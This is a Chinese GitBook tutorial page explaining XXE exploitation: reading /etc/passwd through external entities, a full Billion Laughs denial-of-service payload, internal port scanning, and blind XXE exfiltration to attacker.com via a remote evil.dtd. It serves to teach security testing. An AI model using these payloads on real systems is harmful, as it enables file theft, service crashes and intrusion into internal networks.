# 11.1 XXE 漏洞利用方式 · GitBook

### XXE 漏洞利用方式

1. 文件读取（最常见）

这是 XXE 漏洞最经典的利用方式，攻击者可以利用外部实体来读取服务器上的任意文件，例如`/etc/passwd`、Web 应用配置文件等

- 利用原理：攻击者在 XML 文档中定义一个外部实体，实体的值为一个本地文件路径。当 XML 解析器解析该实体时，就会去读取并返回该文件的内容

- 利用步骤：

  1. 构造恶意 DTD：攻击者在 XML 文档的 DOCTYPE 声明中定义一个外部实体，通常使用 `SYSTEM` 关键字。
     - 例如：`<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>`
  2. 引用实体：在 XML 文档的主体中引用该实体。
     - 例如：`<data>&xxe;</data>`

- 完整示例：

      <?xml version="1.0"?>
      <!DOCTYPE foo [
      <!ENTITY xxe SYSTEM "file:///etc/passwd">
      ]>
      <root>
          <data>&xxe;</data>
      </root>

  当服务器解析这个 XML 时，在 `<data>` 标签中就会回显 `/etc/passwd` 文件的内容

2. 拒绝服务攻击（DoS）

攻击者可以利用 XXE 漏洞，通过“递归引用”或“大量实体引用”的方式，使 XML 解析器进入死循环或消耗大量系统资源，从而导致服务崩溃

- 利用原理：利用 XML 实体可以相互引用的特性，构造一个无限递归或指数级爆炸的实体

- 经典示例：十亿笑脸攻击（Billion Laughs Attack）

      <?xml version="1.0"?>
      <!DOCTYPE lolz [
      <!ENTITY lol "lol">
      <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
      <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
      <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
      <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
      <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
      <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
      <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
      <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
      ]>
      <lolz>&lol9;</lolz>

  这个 XML 文件虽然很小，但在解析时，`<lolz>` 实体会扩展为数十亿个“lol”，消耗巨大的内存和 CPU 资源，最终导致服务器崩溃

3. 内网端口扫描

攻击者可以利用 XXE 漏洞探测服务器所在内网中其他主机的开放端口

- 利用原理：攻击者构造外部实体，让 XML 解析器去尝试连接内网 IP 和端口。如果端口开放，XML 解析会成功或返回特定的错误信息；如果端口关闭，则会返回连接超时等错误，通过错误信息来判断端口状态
- 利用方式：
  1. 定义外部实体：`<!ENTITY scan SYSTEM "http://192.168.1.1:80">`
  2. 发送请求：让服务器去访问内网 IP 的端口
  3. 观察响应：如果服务器返回了“连接被拒绝”等信息，说明端口是关闭的。如果返回了“连接超时”或成功连接，则说明端口可能是开放的

4. 盲 XXE（Blind XXE）

如果服务器没有将 XML 解析结果回显到前端，攻击者就无法直接看到文件内容，这时就需要利用带外（Out-of-Band）通信来获取信息

- 利用原理：攻击者利用外部实体向自己的服务器发送请求，并在 URL 中携带需要读取的文件内容
- 利用步骤：
  1. 构造外部实体：攻击者在自己的服务器上搭建一个 HTTP 服务来监听请求
     - 例如：`<!ENTITY % file SYSTEM "file:///etc/passwd">`
     - `<!ENTITY % exfiltrate "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">`
  2. 远程引用：在主 XML 中引用攻击者的 DTD 文件
     - `<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">`
     - 当服务器解析这个 DTD 时，就会将 `/etc/passwd` 文件的内容发送到攻击者的服务器上